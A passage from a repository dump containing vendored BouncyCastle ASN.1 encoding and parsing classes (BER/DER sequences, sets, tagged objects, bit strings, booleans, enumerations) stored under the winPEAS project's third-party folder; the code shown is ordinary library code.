Asn1ParsingException("IOException converting stream to byte array: " + e.Message, e); } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/BerOutputStream.cs ================================================ using System; using System.IO; namespace winPEAS._3rdParty.BouncyCastle.asn1 { public class BerOutputStream : DerOutputStream { public BerOutputStream(Stream os) : base(os) { } [Obsolete("Use version taking an Asn1Encodable arg instead")] public override void WriteObject( object obj) { if (obj == null) { WriteNull(); } else if (obj is Asn1Object) { ((Asn1Object)obj).Encode(this); } else if (obj is Asn1Encodable) { ((Asn1Encodable)obj).ToAsn1Object().Encode(this); } else { throw new IOException("object not BerEncodable"); } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/BerSequence.cs ================================================ namespace winPEAS._3rdParty.BouncyCastle.asn1 { public class BerSequence : DerSequence { public static new readonly BerSequence Empty = new BerSequence(); public static new BerSequence FromVector(Asn1EncodableVector elementVector) { return elementVector.Count < 1 ? Empty : new BerSequence(elementVector); } /** * create an empty sequence */ public BerSequence() : base() { } /** * create a sequence containing one object */ public BerSequence(Asn1Encodable element) : base(element) { } public BerSequence(params Asn1Encodable[] elements) : base(elements) { } /** * create a sequence containing a vector of objects. */ public BerSequence(Asn1EncodableVector elementVector) : base(elementVector) { } internal override void Encode(DerOutputStream derOut) { if (derOut is Asn1OutputStream || derOut is BerOutputStream) { derOut.WriteByte(Asn1Tags.Sequence | Asn1Tags.Constructed); derOut.WriteByte(0x80); foreach (Asn1Encodable o in this) { derOut.WriteObject(o); } derOut.WriteByte(0x00); derOut.WriteByte(0x00); } else { base.Encode(derOut); } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/BerSequenceParser.cs ================================================ namespace winPEAS._3rdParty.BouncyCastle.asn1 { public class BerSequenceParser : Asn1SequenceParser { private readonly Asn1StreamParser _parser; internal BerSequenceParser( Asn1StreamParser parser) { this._parser = parser; } public IAsn1Convertible ReadObject() { return _parser.ReadObject(); } public Asn1Object ToAsn1Object() { return new BerSequence(_parser.ReadVector()); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/BerSet.cs ================================================ namespace winPEAS._3rdParty.BouncyCastle.asn1 { public class BerSet : DerSet { public static new readonly BerSet Empty = new BerSet(); public static new BerSet FromVector(Asn1EncodableVector elementVector) { return elementVector.Count < 1 ? Empty : new BerSet(elementVector); } internal static new BerSet FromVector(Asn1EncodableVector elementVector, bool needsSorting) { return elementVector.Count < 1 ? Empty : new BerSet(elementVector, needsSorting); } /** * create an empty sequence */ public BerSet() : base() { } /** * create a set containing one object */ public BerSet(Asn1Encodable element) : base(element) { } /** * create a set containing a vector of objects. */ public BerSet(Asn1EncodableVector elementVector) : base(elementVector, false) { } internal BerSet(Asn1EncodableVector elementVector, bool needsSorting) : base(elementVector, needsSorting) { } internal override void Encode(DerOutputStream derOut) { if (derOut is Asn1OutputStream || derOut is BerOutputStream) { derOut.WriteByte(Asn1Tags.Set | Asn1Tags.Constructed); derOut.WriteByte(0x80); foreach (Asn1Encodable o in this) { derOut.WriteObject(o); } derOut.WriteByte(0x00); derOut.WriteByte(0x00); } else { base.Encode(derOut); } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/BerSetParser.cs ================================================ namespace winPEAS._3rdParty.BouncyCastle.asn1 { public class BerSetParser : Asn1SetParser { private readonly Asn1StreamParser _parser; internal BerSetParser( Asn1StreamParser parser) { this._parser = parser; } public IAsn1Convertible ReadObject() { return _parser.ReadObject(); } public Asn1Object ToAsn1Object() { return new BerSet(_parser.ReadVector(), false); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/BerTaggedObject.cs ================================================ using System.Collections; using winPEAS._3rdParty.BouncyCastle.crypto.util; namespace winPEAS._3rdParty.BouncyCastle.asn1 { /** * BER TaggedObject - in ASN.1 notation this is any object preceded by * a [n] where n is some number - these are assumed to follow the construction * rules (as with sequences). */ public class BerTaggedObject : DerTaggedObject { /** * @param tagNo the tag number for this object. * @param obj the tagged object. */ public BerTaggedObject( int tagNo, Asn1Encodable obj) : base(tagNo, obj) { } /** * @param explicitly true if an explicitly tagged object. * @param tagNo the tag number for this object. * @param obj the tagged object. */ public BerTaggedObject( bool explicitly, int tagNo, Asn1Encodable obj) : base(explicitly, tagNo, obj) { } /** * create an implicitly tagged object that contains a zero * length sequence. */ public BerTaggedObject( int tagNo) : base(false, tagNo, BerSequence.Empty) { } internal override void Encode( DerOutputStream derOut) { if (derOut is Asn1OutputStream || derOut is BerOutputStream) { derOut.WriteTag((byte)(Asn1Tags.Constructed | Asn1Tags.Tagged), tagNo); derOut.WriteByte(0x80); if (!IsEmpty()) { if (!explicitly) { IEnumerable eObj; if (obj is Asn1OctetString) { if (obj is BerOctetString) { eObj = (BerOctetString)obj; } else { Asn1OctetString octs = (Asn1OctetString)obj; eObj = new BerOctetString(octs.GetOctets()); } } else if (obj is Asn1Sequence) { eObj = (Asn1Sequence)obj; } else if (obj is Asn1Set) { eObj = (Asn1Set)obj; } else { throw Platform.CreateNotImplementedException(Platform.GetTypeName(obj)); } foreach (Asn1Encodable o in eObj) { derOut.WriteObject(o); } } else { derOut.WriteObject(obj); } } derOut.WriteByte(0x00); derOut.WriteByte(0x00); } else { base.Encode(derOut); } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/BerTaggedObjectParser.cs ================================================ using System; using System.IO; namespace winPEAS._3rdParty.BouncyCastle.asn1 { public class BerTaggedObjectParser : Asn1TaggedObjectParser { private bool _constructed; private int _tagNumber; private Asn1StreamParser _parser; [Obsolete] internal BerTaggedObjectParser( int baseTag, int tagNumber, Stream contentStream) : this((baseTag & Asn1Tags.Constructed) != 0, tagNumber, new Asn1StreamParser(contentStream)) { } internal BerTaggedObjectParser( bool constructed, int tagNumber, Asn1StreamParser parser) { _constructed = constructed; _tagNumber = tagNumber; _parser = parser; } public bool IsConstructed { get { return _constructed; } } public int TagNo { get { return _tagNumber; } } public IAsn1Convertible GetObjectParser( int tag, bool isExplicit) { if (isExplicit) { if (!_constructed) throw new IOException("Explicit tags must be constructed (see X.690 8.14.2)"); return _parser.ReadObject(); } return _parser.ReadImplicit(_constructed, tag); } public Asn1Object ToAsn1Object() { try { return _parser.ReadTaggedObject(_constructed, _tagNumber); } catch (IOException e) { throw new Asn1ParsingException(e.Message); } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/ConstructedOctetStream.cs ================================================ using System.IO; using winPEAS._3rdParty.BouncyCastle.crypto.util; using winPEAS._3rdParty.BouncyCastle.util.io; namespace winPEAS._3rdParty.BouncyCastle.asn1 { internal class ConstructedOctetStream : BaseInputStream { private readonly Asn1StreamParser _parser; private bool _first = true; private Stream _currentStream; internal ConstructedOctetStream( Asn1StreamParser parser) { _parser = parser; } public override int Read(byte[] buffer, int offset, int count) { if (_currentStream == null) { if (!_first) return 0; Asn1OctetStringParser next = GetNextParser(); if (next == null) return 0; _first = false; _currentStream = next.GetOctetStream(); } int totalRead = 0; for (; ; ) { int numRead = _currentStream.Read(buffer, offset + totalRead, count - totalRead); if (numRead > 0) { totalRead += numRead; if (totalRead == count) return totalRead; } else { Asn1OctetStringParser next = GetNextParser(); if (next == null) { _currentStream = null; return totalRead; } _currentStream = next.GetOctetStream(); } } } public override int ReadByte() { if (_currentStream == null) { if (!_first) return 0; Asn1OctetStringParser next = GetNextParser(); if (next == null) return 0; _first = false; _currentStream = next.GetOctetStream(); } for (; ; ) { int b = _currentStream.ReadByte(); if (b >= 0) return b; Asn1OctetStringParser next = GetNextParser(); if (next == null) { _currentStream = null; return -1; } _currentStream = next.GetOctetStream(); } } private Asn1OctetStringParser GetNextParser() { IAsn1Convertible asn1Obj = _parser.ReadObject(); if (asn1Obj == null) return null; if (asn1Obj is Asn1OctetStringParser) return (Asn1OctetStringParser)asn1Obj; throw new IOException("unknown object encountered: " + Platform.GetTypeName(asn1Obj)); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DefiniteLengthInputStream.cs ================================================ using System; using System.IO; using winPEAS._3rdParty.BouncyCastle.util.io; namespace winPEAS._3rdParty.BouncyCastle.asn1 { class DefiniteLengthInputStream : LimitedInputStream { private static readonly byte[] EmptyBytes = new byte[0]; private readonly int _originalLength; private int _remaining; internal DefiniteLengthInputStream(Stream inStream, int length, int limit) : base(inStream, limit) { if (length < 0) throw new ArgumentException("negative lengths not allowed", "length"); this._originalLength = length; this._remaining = length; if (length == 0) { SetParentEofDetect(true); } } internal int Remaining { get { return _remaining; } } public override int ReadByte() { if (_remaining == 0) return -1; int b = _in.ReadByte(); if (b < 0) throw new EndOfStreamException("DEF length " + _originalLength + " object truncated by " + _remaining); if (--_remaining == 0) { SetParentEofDetect(true); } return b; } public override int Read( byte[] buf, int off, int len) { if (_remaining == 0) return 0; int toRead = System.Math.Min(len, _remaining); int numRead = _in.Read(buf, off, toRead); if (numRead < 1) throw new EndOfStreamException("DEF length " + _originalLength + " object truncated by " + _remaining); if ((_remaining -= numRead) == 0) { SetParentEofDetect(true); } return numRead; } internal void ReadAllIntoByteArray(byte[] buf) { if (_remaining != buf.Length) throw new ArgumentException("buffer length not right for data"); if (_remaining == 0) return; // make sure it's safe to do this! int limit = Limit; if (_remaining >= limit) throw new IOException("corrupted stream - out of bounds length found: " + _remaining + " >= " + limit); if ((_remaining -= Streams.ReadFully(_in, buf)) != 0) throw new EndOfStreamException("DEF length " + _originalLength + " object truncated by " + _remaining); SetParentEofDetect(true); } internal byte[] ToArray() { if (_remaining == 0) return EmptyBytes; // make sure it's safe to do this! int limit = Limit; if (_remaining >= limit) throw new IOException("corrupted stream - out of bounds length found: " + _remaining + " >= " + limit); byte[] bytes = new byte[_remaining]; if ((_remaining -= Streams.ReadFully(_in, bytes)) != 0) throw new EndOfStreamException("DEF length " + _originalLength + " object truncated by " + _remaining); SetParentEofDetect(true); return bytes; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerApplicationSpecific.cs ================================================ using System; using System.IO; using winPEAS._3rdParty.BouncyCastle.crypto.util; namespace winPEAS._3rdParty.BouncyCastle.asn1 { /** * Base class for an application specific object */ public class DerApplicationSpecific : Asn1Object { private readonly bool isConstructed; private readonly int tag; private readonly byte[] octets; internal DerApplicationSpecific( bool isConstructed, int tag, byte[] octets) { this.isConstructed = isConstructed; this.tag = tag; this.octets = octets; } public DerApplicationSpecific( int tag, byte[] octets) : this(false, tag, octets) { } public DerApplicationSpecific( int tag, Asn1Encodable obj) : this(true, tag, obj) { } public DerApplicationSpecific( bool isExplicit, int tag, Asn1Encodable obj) { Asn1Object asn1Obj = obj.ToAsn1Object(); byte[] data = asn1Obj.GetDerEncoded(); this.isConstructed = Asn1TaggedObject.IsConstructed(isExplicit, asn1Obj); this.tag = tag; if (isExplicit) { this.octets = data; } else { int lenBytes = GetLengthOfHeader(data); byte[] tmp = new byte[data.Length - lenBytes]; Array.Copy(data, lenBytes, tmp, 0, tmp.Length); this.octets = tmp; } } public DerApplicationSpecific( int tagNo, Asn1EncodableVector vec) { this.tag = tagNo; this.isConstructed = true; MemoryStream bOut = new MemoryStream(); for (int i = 0; i != vec.Count; i++) { try { byte[] bs = vec[i].GetDerEncoded(); bOut.Write(bs, 0, bs.Length); } catch (IOException e) { throw new InvalidOperationException("malformed object", e); } } this.octets = bOut.ToArray(); } private int GetLengthOfHeader( byte[] data) { int length = data[1]; // TODO: assumes 1 byte tag if (length == 0x80) { return 2; // indefinite-length encoding } if (length > 127) { int size = length & 0x7f; // Note: The invalid long form "0xff" (see X.690 8.1.3.5c) will be caught here if (size > 4) { throw new InvalidOperationException("DER length more than 4 bytes: " + size); } return size + 2; } return 2; } public bool IsConstructed() { return isConstructed; } public byte[] GetContents() { return octets; } public int ApplicationTag { get { return tag; } } /** * Return the enclosed object assuming explicit tagging. * * @return the resulting object * @throws IOException if reconstruction fails. */ public Asn1Object GetObject() { return FromByteArray(GetContents()); } /** * Return the enclosed object assuming implicit tagging. * * @param derTagNo the type tag that should be applied to the object's contents. * @return the resulting object * @throws IOException if reconstruction fails. */ public Asn1Object GetObject( int derTagNo) { if (derTagNo >= 0x1f) throw new IOException("unsupported tag number"); byte[] orig = this.GetEncoded(); byte[] tmp = ReplaceTagNumber(derTagNo, orig); if ((orig[0] & Asn1Tags.Constructed) != 0) { tmp[0] |= Asn1Tags.Constructed; } return FromByteArray(tmp); } internal override void Encode( DerOutputStream derOut) { int classBits = Asn1Tags.Application; if (isConstructed) { classBits |= Asn1Tags.Constructed; } derOut.WriteEncoded(classBits, tag, octets); } protected override bool Asn1Equals( Asn1Object asn1Object) { DerApplicationSpecific other = asn1Object as DerApplicationSpecific; if (other == null) return false; return this.isConstructed == other.isConstructed && this.tag == other.tag && Arrays.AreEqual(this.octets, other.octets); } protected override int Asn1GetHashCode() { return isConstructed.GetHashCode() ^ tag.GetHashCode() ^ Arrays.GetHashCode(octets); } private byte[] ReplaceTagNumber( int newTag, byte[] input) { int tagNo = input[0] & 0x1f; int index = 1; // with tagged object tag number is bottom 5 bits, or stored at the start of the content if (tagNo == 0x1f) { int b = input[index++]; // X.690-0207 8.1.2.4.2 // "c) bits 7 to 1 of the first subsequent octet shall not all be zero." if ((b & 0x7f) == 0) // Note: -1 will pass throw new IOException("corrupted stream - invalid high tag number found"); while ((b & 0x80) != 0) { b = input[index++]; } } int remaining = input.Length - index; byte[] tmp = new byte[1 + remaining]; tmp[0] = (byte)newTag; Array.Copy(input, index, tmp, 1, remaining); return tmp; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerBitString.cs ================================================ using System; using System.Diagnostics; using System.Text; using winPEAS._3rdParty.BouncyCastle.crypto.util; using winPEAS._3rdParty.BouncyCastle.math; namespace winPEAS._3rdParty.BouncyCastle.asn1 { public class DerBitString : DerStringBase { private static readonly char[] table = { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F' }; protected readonly byte[] mData; protected readonly int mPadBits; /** * return a Bit string from the passed in object * * @exception ArgumentException if the object cannot be converted. */ public static DerBitString GetInstance( object obj) { if (obj == null || obj is DerBitString) { return (DerBitString)obj; } if (obj is byte[]) { try { return (DerBitString)FromByteArray((byte[])obj); } catch (Exception e) { throw new ArgumentException("encoding error in GetInstance: " + e.ToString()); } } throw new ArgumentException("illegal object in GetInstance: " + Platform.GetTypeName(obj)); } /** * return a Bit string from a tagged object. * * @param obj the tagged object holding the object we want * @param explicitly true if the object is meant to be explicitly * tagged false otherwise. * @exception ArgumentException if the tagged object cannot * be converted. */ public static DerBitString GetInstance( Asn1TaggedObject obj, bool isExplicit) { Asn1Object o = obj.GetObject(); if (isExplicit || o is DerBitString) { return GetInstance(o); } return FromAsn1Octets(((Asn1OctetString)o).GetOctets()); } /** * @param data the octets making up the bit string. * @param padBits the number of extra bits at the end of the string. */ public DerBitString( byte[] data, int padBits) { if (data == null) throw new ArgumentNullException("data"); if (padBits < 0 || padBits > 7) throw new ArgumentException("must be in the range 0 to 7", "padBits"); if (data.Length == 0 && padBits != 0) throw new ArgumentException("if 'data' is empty, 'padBits' must be 0"); this.mData = Arrays.Clone(data); this.mPadBits = padBits; } public DerBitString( byte[] data) : this(data, 0) { } public DerBitString( int namedBits) { if (namedBits == 0) { this.mData = new byte[0]; this.mPadBits = 0; return; } int bits = BigInteger.BitLen(namedBits); int bytes = (bits + 7) / 8; Debug.Assert(0 < bytes && bytes <= 4); byte[] data = new byte[bytes]; --bytes; for (int i = 0; i < bytes; i++) { data[i] = (byte)namedBits; namedBits >>= 8; } Debug.Assert((namedBits & 0xFF) != 0); data[bytes] = (byte)namedBits; int padBits = 0; while ((namedBits & (1 << padBits)) == 0) { ++padBits; } Debug.Assert(padBits < 8); this.mData = data; this.mPadBits = padBits; } public DerBitString( Asn1Encodable obj) : this(obj.GetDerEncoded()) { } /** * Return the octets contained in this BIT STRING, checking that this BIT STRING really * does represent an octet aligned string. Only use this method when the standard you are * following dictates that the BIT STRING will be octet aligned. * * @return a copy of the octet aligned data. */ public virtual byte[] GetOctets() { if (mPadBits != 0) throw new InvalidOperationException("attempt to get non-octet aligned data from BIT STRING"); return Arrays.Clone(mData); } public virtual byte[] GetBytes() { byte[] data = Arrays.Clone(mData); // DER requires pad bits be zero if (mPadBits > 0) { data[data.Length - 1] &= (byte)(0xFF << mPadBits); } return data; } public virtual int PadBits { get { return mPadBits; } } /** * @return the value of the bit string as an int (truncating if necessary) */ public virtual int IntValue { get { int value = 0, length = System.Math.Min(4, mData.Length); for (int i = 0; i < length; ++i) { value |= (int)mData[i] << (8 * i); } if (mPadBits > 0 && length == mData.Length) { int mask = (1 << mPadBits) - 1; value &= ~(mask << (8 * (length - 1))); } return value; } } internal override void Encode( DerOutputStream derOut) { if (mPadBits > 0) { int last = mData[mData.Length - 1]; int mask = (1 << mPadBits) - 1; int unusedBits = last & mask; if (unusedBits != 0) { byte[] contents = Arrays.Prepend(mData, (byte)mPadBits); /* * X.690-0207 11.2.1: Each unused bit in the final octet of the encoding of a bit string value shall be set to zero. */ contents[contents.Length - 1] = (byte)(last ^ unusedBits); derOut.WriteEncoded(Asn1Tags.BitString, contents); return; } } derOut.WriteEncoded(Asn1Tags.BitString, (byte)mPadBits, mData); } protected override int Asn1GetHashCode() { return mPadBits.GetHashCode() ^ Arrays.GetHashCode(mData); } protected override bool Asn1Equals( Asn1Object asn1Object) { DerBitString other = asn1Object as DerBitString; if (other == null) return false; return this.mPadBits == other.mPadBits && Arrays.AreEqual(this.mData, other.mData); } public override string GetString() { StringBuilder buffer = new StringBuilder("#"); byte[] str = GetDerEncoded(); for (int i = 0; i != str.Length; i++) { uint ubyte = str[i]; buffer.Append(table[(ubyte >> 4) & 0xf]); buffer.Append(table[str[i] & 0xf]); } return buffer.ToString(); } internal static DerBitString FromAsn1Octets(byte[] octets) { if (octets.Length < 1) throw new ArgumentException("truncated BIT STRING detected", "octets"); int padBits = octets[0]; byte[] data = Arrays.CopyOfRange(octets, 1, octets.Length); if (padBits > 0 && padBits < 8 && data.Length > 0) { int last = data[data.Length - 1]; int mask = (1 << padBits) - 1; if ((last & mask) != 0) { return new BerBitString(data, padBits); } } return new DerBitString(data, padBits); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerBmpString.cs ================================================ using System; using winPEAS._3rdParty.BouncyCastle.crypto.util; namespace winPEAS._3rdParty.BouncyCastle.asn1 { /** * Der BMPString object. */ public class DerBmpString : DerStringBase { private readonly string str; /** * return a BMP string from the given object. * * @param obj the object we want converted. * @exception ArgumentException if the object cannot be converted. */ public static DerBmpString GetInstance( object obj) { if (obj == null || obj is DerBmpString) { return (DerBmpString)obj; } throw new ArgumentException("illegal object in GetInstance: " + Platform.GetTypeName(obj)); } /** * return a BMP string from a tagged object. * * @param obj the tagged object holding the object we want * @param explicitly true if the object is meant to be explicitly * tagged false otherwise. * @exception ArgumentException if the tagged object cannot * be converted. */ public static DerBmpString GetInstance( Asn1TaggedObject obj, bool isExplicit) { Asn1Object o = obj.GetObject(); if (isExplicit || o is DerBmpString) { return GetInstance(o); } return new DerBmpString(Asn1OctetString.GetInstance(o).GetOctets()); } /** * basic constructor - byte encoded string. */ [Obsolete("Will become internal")] public DerBmpString(byte[] str) { if (str == null) throw new ArgumentNullException("str"); int byteLen = str.Length; if (0 != (byteLen & 1)) throw new ArgumentException("malformed BMPString encoding encountered", "str"); int charLen = byteLen / 2; char[] cs = new char[charLen]; for (int i = 0; i != charLen; i++) { cs[i] = (char)((str[2 * i] << 8) | (str[2 * i + 1] & 0xff)); } this.str = new string(cs); } internal DerBmpString(char[] str) { if (str == null) throw new ArgumentNullException("str"); this.str = new string(str); } /** * basic constructor */ public DerBmpString(string str) { if (str == null) throw new ArgumentNullException("str"); this.str = str; } public override string GetString() { return str; } protected override bool Asn1Equals( Asn1Object asn1Object) { DerBmpString other = asn1Object as DerBmpString; if (other == null) return false; return this.str.Equals(other.str); } internal override void Encode( DerOutputStream derOut) { char[] c = str.ToCharArray(); byte[] b = new byte[c.Length * 2]; for (int i = 0; i != c.Length; i++) { b[2 * i] = (byte)(c[i] >> 8); b[2 * i + 1] = (byte)c[i]; } derOut.WriteEncoded(Asn1Tags.BmpString, b); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerBoolean.cs ================================================ using System; using winPEAS._3rdParty.BouncyCastle.crypto.util; namespace winPEAS._3rdParty.BouncyCastle.asn1 { public class DerBoolean : Asn1Object { private readonly byte value; public static readonly DerBoolean False = new DerBoolean(false); public static readonly DerBoolean True = new DerBoolean(true); /** * return a bool from the passed in object. * * @exception ArgumentException if the object cannot be converted. */ public static DerBoolean GetInstance( object obj) { if (obj == null || obj is DerBoolean) { return (DerBoolean)obj; } throw new ArgumentException("illegal object in GetInstance: " + Platform.GetTypeName(obj)); } /** * return a DerBoolean from the passed in bool. */ public static DerBoolean GetInstance( bool value) { return value ? True : False; } /** * return a Boolean from a tagged object. * * @param obj the tagged object holding the object we want * @param explicitly true if the object is meant to be explicitly * tagged false otherwise. * @exception ArgumentException if the tagged object cannot * be converted. */ public static DerBoolean GetInstance( Asn1TaggedObject obj, bool isExplicit) { Asn1Object o = obj.GetObject(); if (isExplicit || o is DerBoolean) { return GetInstance(o); } return FromOctetString(((Asn1OctetString)o).GetOctets()); } public DerBoolean( byte[] val) { if (val.Length != 1) throw new ArgumentException("byte value should have 1 byte in it", "val"); // TODO Are there any constraints on the possible byte values? this.value = val[0]; } private DerBoolean( bool value) { this.value = value ? (byte)0xff : (byte)0; } public bool IsTrue { get { return value != 0; } } internal override void Encode( DerOutputStream derOut) { // TODO Should we make sure the byte value is one of '0' or '0xff' here? derOut.WriteEncoded(Asn1Tags.Boolean, new byte[] { value }); } protected override bool Asn1Equals( Asn1Object asn1Object) { DerBoolean other = asn1Object as DerBoolean; if (other == null) return false; return IsTrue == other.IsTrue; } protected override int Asn1GetHashCode() { return IsTrue.GetHashCode(); } public override string ToString() { return IsTrue ? "TRUE" : "FALSE"; } internal static DerBoolean FromOctetString(byte[] value) { if (value.Length != 1) { throw new ArgumentException("BOOLEAN value should have 1 byte in it", "value"); } byte b = value[0]; return b == 0 ? False : b == 0xFF ? True : new DerBoolean(value); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerEnumerated.cs ================================================ using System; using winPEAS._3rdParty.BouncyCastle.crypto.util; using winPEAS._3rdParty.BouncyCastle.math; namespace winPEAS._3rdParty.BouncyCastle.asn1 { public class DerEnumerated : Asn1Object { private readonly byte[] bytes; private readonly int start; /** * return an integer from the passed in object * * @exception ArgumentException if the object cannot be converted. */ public static DerEnumerated GetInstance( object obj) { if (obj == null || obj is DerEnumerated) { return (DerEnumerated)obj; } throw new ArgumentException("illegal object in GetInstance: " + Platform.GetTypeName(obj)); } /** * return an Enumerated from a tagged object. * * @param obj the tagged object holding the object we want * @param explicitly true if the object is meant to be explicitly * tagged false otherwise. * @exception ArgumentException if the tagged object cannot * be converted. */ public static DerEnumerated GetInstance( Asn1TaggedObject obj, bool isExplicit) { Asn1Object o = obj.GetObject(); if (isExplicit || o is DerEnumerated) { return GetInstance(o); } return FromOctetString(((Asn1OctetString)o).GetOctets()); } public DerEnumerated(int val) { if (val < 0) throw new ArgumentException("enumerated must be non-negative", "val"); this.bytes = BigInteger.ValueOf(val).ToByteArray(); this.start = 0; } public DerEnumerated(long val) { if (val < 0L) throw new ArgumentException("enumerated must be non-negative", "val"); this.bytes = BigInteger.ValueOf(val).ToByteArray(); this.start = 0; } public DerEnumerated(BigInteger val) { if (val.SignValue < 0) throw new ArgumentException("enumerated must be non-negative", "val"); this.bytes = val.ToByteArray(); this.start = 0; } public DerEnumerated(byte[] bytes) { if (DerInteger.IsMalformed(bytes)) throw new ArgumentException("malformed enumerated", "bytes"); if (0 != (bytes[0] & 0x80)) throw new ArgumentException("enumerated must be non-negative", "bytes"); this.bytes = Arrays.Clone(bytes); this.start = DerInteger.SignBytesToSkip(bytes); } public BigInteger Value { get { return new BigInteger(bytes); } } public bool HasValue(BigInteger x) { return null != x // Fast check to avoid allocation && DerInteger.IntValue(bytes, start, DerInteger.SignExtSigned) == x.IntValue && Value.Equals(x); } public int IntValueExact { get { int count = bytes.Length - start; if (count > 4) throw new ArithmeticException("ASN.1 Enumerated out of int range"); return DerInteger.IntValue(bytes, start, DerInteger.SignExtSigned); } } internal override void Encode(DerOutputStream derOut) { derOut.WriteEncoded(Asn1Tags.Enumerated, bytes); } protected override bool Asn1Equals(Asn1Object asn1Object) { DerEnumerated other = asn1Object as DerEnumerated; if (other == null) return false; return Arrays.AreEqual(this.bytes, other.bytes); } protected override int Asn1GetHashCode() { return Arrays.GetHashCode(bytes); } private static readonly DerEnumerated[] cache = new DerEnumerated[12]; internal static DerEnumerated FromOctetString(byte[] enc) { if (enc.Length > 1) return new DerEnumerated(enc); if (enc.Length == 0) throw new ArgumentException("ENUMERATED has zero length", "enc"); int value = enc[0]; if (value >= cache.Length) return new DerEnumerated(enc); DerEnumerated possibleMatch = cache[value]; if (possibleMatch == null) { cache[value] = possibleMatch = new DerEnumerated(enc); } return possibleMatch; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerExternal.cs ================================================ using System; using System.IO; using winPEAS._3rdParty.BouncyCastle.crypto.util; namespace winPEAS._3rdParty.BouncyCastle.asn1 { /** * Class representing the DER-type External */ public class DerExternal : Asn1Object { private DerObjectIdentifier directReference; private DerInteger indirectReference; private Asn1Object dataValueDescriptor; private int encoding; private Asn1Object externalContent; public DerExternal( Asn1EncodableVector vector) { int offset = 0; Asn1Object enc = GetObjFromVector(vector, offset); if (enc is DerObjectIdentifier) { directReference = (DerObjectIdentifier)enc; offset++; enc = GetObjFromVector(vector, offset); } if (enc is DerInteger) { indirectReference = (DerInteger)enc; offset++; enc = GetObjFromVector(vector, offset); } if (!(enc is Asn1TaggedObject)) { dataValueDescriptor = enc; offset++; enc = GetObjFromVector(vector, offset); } if (vector.Count != offset + 1) throw new ArgumentException("input vector too large", "vector"); if (!(enc is Asn1TaggedObject)) throw new ArgumentException("No tagged object found in vector. Structure doesn't seem to be of type External", "vector"); Asn1TaggedObject obj = (Asn1TaggedObject)enc; // Use property accessor to include check on value Encoding = obj.TagNo; if (encoding < 0 || encoding > 2) throw new InvalidOperationException("invalid encoding value"); externalContent = obj.GetObject(); } /** * Creates a new instance of DerExternal * See X.690 for more informations about the meaning of these parameters * @param directReference The direct reference or null if not set. * @param indirectReference The indirect reference or null if not set. * @param dataValueDescriptor The data value descriptor or null if not set. * @param externalData The external data in its encoded form. */ public DerExternal(DerObjectIdentifier directReference, DerInteger indirectReference, Asn1Object dataValueDescriptor, DerTaggedObject externalData) : this(directReference, indirectReference, dataValueDescriptor, externalData.TagNo, externalData.ToAsn1Object()) { } /** * Creates a new instance of DerExternal. * See X.690 for more informations about the meaning of these parameters * @param directReference The direct reference or null if not set. * @param indirectReference The indirect reference or null if not set. * @param dataValueDescriptor The data value descriptor or null if not set. * @param encoding The encoding to be used for the external data * @param externalData The external data */ public DerExternal(DerObjectIdentifier directReference, DerInteger indirectReference, Asn1Object dataValueDescriptor, int encoding, Asn1Object externalData) { DirectReference = directReference; IndirectReference = indirectReference; DataValueDescriptor = dataValueDescriptor; Encoding = encoding; ExternalContent = externalData.ToAsn1Object(); } internal override void Encode(DerOutputStream derOut) { MemoryStream ms = new MemoryStream(); WriteEncodable(ms, directReference); WriteEncodable(ms, indirectReference); WriteEncodable(ms, dataValueDescriptor); WriteEncodable(ms, new DerTaggedObject(Asn1Tags.External, externalContent)); derOut.WriteEncoded(Asn1Tags.Constructed, Asn1Tags.External, ms.ToArray()); } protected override int Asn1GetHashCode() { int ret = externalContent.GetHashCode(); if (directReference != null) { ret ^= directReference.GetHashCode(); } if (indirectReference != null) { ret ^= indirectReference.GetHashCode(); } if (dataValueDescriptor != null) { ret ^= dataValueDescriptor.GetHashCode(); } return ret; } protected override bool Asn1Equals( Asn1Object asn1Object) { if (this == asn1Object) return true; DerExternal other = asn1Object as DerExternal; if (other == null) return false; return Platform.Equals(directReference, other.directReference) && Platform.Equals(indirectReference, other.indirectReference) && Platform.Equals(dataValueDescriptor, other.dataValueDescriptor) && externalContent.Equals(other.externalContent); } public Asn1Object DataValueDescriptor { get { return dataValueDescriptor; } set { this.dataValueDescriptor = value; } } public DerObjectIdentifier DirectReference { get { return directReference; } set { this.directReference = value; } } /** * The encoding of the content. Valid values are *
      *
    • 0 single-ASN1-type
    • *
    • 1 OCTET STRING
    • *
    • 2 BIT STRING
    • *
